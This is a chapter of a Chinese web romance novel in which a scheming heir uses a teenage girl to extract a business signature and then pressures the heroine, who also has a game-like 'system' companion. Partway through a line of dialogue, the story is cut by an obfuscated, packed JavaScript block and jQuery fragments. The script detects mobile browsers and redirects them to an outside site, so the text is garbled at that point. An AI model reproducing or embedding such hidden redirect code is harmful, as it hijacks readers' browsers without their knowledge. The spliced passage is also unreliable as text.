赵知意笑了一下，回过头来，曲连鹏还在渴求地看着他。


    “可以。”赵知意顿了一下，笑着说狠绝的话，“但是，我许给你的条件作废，你什么都得不到。”


    曲连鹏脸色僵白，赵知意站起身，想将手搭在他肩上，瞟了眼男人肥腻的肩膀收回手，说：“放弃我给你的机会，当然要付出代价。”


    曲连鹏喉结滚了一滚，亏他还以为赵知意比其他两个善解人意，至少给他时间考虑，没想到他才是最狠最毒的那个，笑里藏刀的货色。


    曲连鹏在心里咒骂一句，表面却只能恭维着，吞下一滩苦水，阿谀道：“明白，明白，一切赵二少您说了算、您说了算。”


    少女的抽泣声没有了。


    房间恢复风卷残云的平静，很快门被敲响，赵知意起身去拉开房门，赵顺走了进来，递给赵知意股份协议。


    赵知意伸手接过，赵顺关门时也不管门口站着往里张望的工作人员，一下合上门隔绝对方视线。


    少女已经不再靠在苏念柏肩头，而是紧挨着她站在一起，搂住对方纤细的手臂，脸上泪痕未干，头发凌乱，狼狈还残留痕迹。


    赵知意走到两人面前，苏念柏手臂上力道紧了紧，视线从上落下，她听到贯穿入耳的声音：“赵顺，把她带走。”


    赵顺走过来，曲连鹏正好从卫生间穿好衣服走出。


    少女欲言又止，眼神在男人脸上停留，最终咬着下唇松开了苏念柏的手。


    苏念柏侧过脸淡淡看去，少女哪里还有半分方才被欺凌的脆弱模样？


    她又不傻，这一切不过是赵知意设的局而已，可为达目的，他竟然不择手段，拿一个十几岁的少女设局。


    苏念柏不敢苟同。


    少女跟着赵顺往外走，曲连鹏瞪着恼怒的眼盯在她柔弱的身躯上，少女顶着这道剜人的视线，却还是回身留恋地望了一眼。


    赵知意顺着苏念柏轻轻皱眉的视线看过去。


    目光和少女对视上，少女睫毛乱颤，慌乱从脸上浮现，赵知意突然勾起淡淡的笑，大方慈悲地说：“记住我说的话，重新想想你的选择。”


    少女一怔，随即迟缓地点了点头，跟着赵顺从房内出去。


    “小姐，你没——”门外工作人员的担忧被关上的房门掐断。


    赵知意回过头，半垂着眼，苏念柏看着房门消失的空荡，视线也不收回。


    哪怕赵知意就这么明目张胆地看着她，她也没有回视。


    像在较什么劲。


    赵知意看了看她，突然伸手，苏念柏手臂被人抓住，对方拽着她往沙发走，她踉跄跟了几步，就被转身的赵知意按着肩膀，坐进沙发里。


    她愤愤抬起头，赵知意终于在她琥珀色的瞳孔里看到自己的影子。


    “曲总，愣着干什么，把字给我签了！”赵知意笑着，音量却不低，还隐隐透着不高兴。


    曲连鹏恨不得早点离开这里，对眼前变故诧异却不想关心，急忙走过来拿起黑色中性笔草草几笔写下三次自己的名字。


    轻微的翻页声，笔与纸面摩擦的沙沙声。


    萦绕在两人旋涡之中，他们就这么无声对视着，中间好像有一根摇摇欲坠的细线即将崩裂，却又好像在悬着连接。


    “签好了，赵二少。”曲连鹏身心俱疲地放下笔，还得面上毕恭毕敬的讨好对方。


    赵知意直起身，随手拿起协议翻了翻，三份甲方空白处都签上了字，他又把协议扔在桌上，垂眼看向苏念柏。


    “签字吧，念念。”他拿起笔，笑着递在苏念柏身前。


    这亲昵暧昧的称呼，让曲连鹏不由得多打量了女人两眼。


    苏念柏脸上没什么表情地看了赵知意一眼，从他手中倏地抽出笔，偏身贴近桌子，在协议上，三两下签完了字。


    “我可以回去了吧？赵先生。”苏念柏扔下笔，才站起身，赵知意就攥住了她的细臂。


    赵知意平生一股沉闷的火气，脸上瞬时面无表情。


    他看向惊诧的曲连鹏，对方还震愣在赵知意居然让一个女人来签股份里，猝然被赵知意冷视，瞬间回神。


    “拿上你的协议，给我滚。”


    曲连鹏被他变换的冷漠吓得心抖了抖，忙抓起一份协议匆匆告别，离开得分针夺秒。


    或许从明天，曲连鹏这个人在云城，会骤然消失无踪迹。


    巨大落地窗上立着两道纤长的身影。


    赵知意侧着头，垂眼的笑带着柔和，他问：“在对我生气？”


    苏念柏抬头看向眼前这个让整个房间都沦为背景板的男人，她的确生气对方不择手段的行为，可她有什么资格，有什么能力，有什么处境去谴责对方。


    她可以生气，是因为她不会这样做，可对方要这么做，和她有什么干系。


    生气是暂时的，清醒过来才是理智的。


    “怎么会呢？赵先生。”苏念柏又变了，真情实感的情绪荡然无存，换上平日假笑的嘴脸。


    可赵知意笑容骤冷，他不高兴了。


    苏念柏看他脸色变换如此之快，紧抿住唇。


    赵知意松开握住她的手，面无表情的一点一点朝她贴近，两人距离本就狭小，赵知意贴上来，苏念柏退无可退，跌进椅子里，男人巨大的阴影笼罩过来，苏念柏仿佛被他禁锢。


    他两手撑在扶手上，将苏念柏圈在胸前，看着她说：“你是不是很不齿我的行为？认为我不达目的手段卑劣？”


    苏念柏：“……”


    两人对视着，苏念柏没有说话。


    赵知意似乎很有耐心，抬起一只手，勾着笑，拇指从她柔嫩的红润唇上轻划而过，“说真话，否则孤男寡女，我实在不介意发生点什么。”


    空中弥漫一丝暧昧的旖旎。


    苏念柏立马抱住自己，有点后怕，“你别乱来，否则我——”


    “否则什么？”赵知意笑着，食指挑起她的下颌。


    苏念柏被迫仰头，暗咬了咬牙，她想说报警，可发现对于赵知意来说，报警可能半点用没有。


    想听真话？


    苏念柏想起白天在楼道里，她明里暗指对方要求过多的那番话，当时赵知意非但不生气，还似乎不是很在意。


    所以有时候他喜欢听真话？


    “是。”苏念柏拂开赵知意的手。


    赵知意一顿，直起身，好整以暇地看向她。


    她脸上挂着极淡的一抹笑容，染上了她骨子里的淡漠，赵知意看着她气血很足的红唇开启：“我是很不齿，我是觉得赵先生手段卑鄙。对方只是一个十几岁的孩子，让她引诱一个老男人达到你的目的，未免太令人恶心，可是——”


    苏念柏微微蹙眉，似是嘲弄，“和我有关系吗？我生气是出于道德层面的谴责，但我没那个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958484|176773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    立场兴趣能力来教育别人，我又不是什么普天度世的大善人。况且看起来是你情我愿的事，我为什么要多管闲事。”


    她没瞎，方才那少女看向赵知意的目光，和赵知意告诉对方的话，很明显，那少女是自愿的。


    苏念柏说完气不过，又逆反的补了一句：“满意了吗？赵先生。”


    赵知意笑了，愉悦的笑出了声。


    苏念柏愣了愣。


    这是她第二次见赵知意这么绚烂的笑容，特别是那双黑瞳的眼睛，说是亮如星河也不为过，浑身的气质明亮了起来，一丝阴冷也没有。


    “怎么办呢？苏念柏，你今天重创了我两次。”赵知意看着她说，虽是笑着，语气却有几分认真，还郑重地叫了她的名字。


    重创？


    是说我说话怼他？


    苏念柏不服气，不是你自己想听的吗？


    赵知意俯下身，凑到她眼前，清冽的气息又席卷而来。


    苏念柏对上他的眼睛。


    “怎么办呢？”他抬手温柔地将她的碎发别到耳后，含笑的轻声细语蕴含无尽的躁动，“可是——我好像很爽。”


    刹那间，苏念柏心脏莫名狂跳，茫然地瞪大双眼。


    脑海里是系统旋转的冰冷提示音：“叮！恭喜宿主完成“反刺激”对方的反套路行为，一百反套路技能点数已为宿主累计！”


    苏念柏有点云里雾里，反刺激？我反刺激他什么了？


    系统听到了她的心声，回答：“你刺激他，他没有生气，反而因为你的刺激很爽快。”


    “……”苏念柏看着赵知意的脸色一言难尽，难不成赵知意喜欢被人怼？


    很快，她就否定了这个想法，倒不如说是他好像对她的口无遮拦不甚在意，好像还很高兴，为什么？


    苏念柏心里有种异样的情绪，盘旋升起。


    赵知意的确很爽，这种爽让人淋漓畅快。


    为何而来，为何而来呢？


    这种自我的剖析让他无暇顾及脑海里那烦人的，不情不愿的系统冰冷音。


    今天它被赵知意忽略了三次，而每一次都是因为他对苏念柏的触碰，让他获得生命体征系统的生命延续。


    很久，又好像没那么久，赵知意直起身，轻声道：“走吧。”


    ***


    回到家里，已经快十二点，小区里白日的喧嚣沉寂，偶有几户的玻璃窗还透着光。


    苏念柏没有惊动睡去的苏奶奶，走进卧室，往床上一躺，浑身的疲惫涌了上来。


    今天好像被无限拉长，被赵知意带动的经历一波接着一波。


    她困顿着双眼，爬起来去洗了个澡，再次回到床上，却怎么也睡不着，脑子里全是赵知意嘴角勾笑的脸。


    神经病，疯子。


    苏念柏骂了两句，下巴、耳廓被赵知意触碰过的地方似乎洗不净，即使她这二十多年来没和男人这么近距离接触过，可她有一颗十分清醒的心。


    它会有迷雾环绕的时候，却还是能维持理智的跳动。


    赵知意是个反复无常，难以揣摩的疯子。


    这样的人离他越远越好。


    苏念柏想着想着，忽然想到了什么，睁着眼睛望着虚空的天空板，呼喊：“系统，系统。”


    “怎么了？宿主。”


    苏念柏好奇问：“我现在有很多少反套路技能点数？”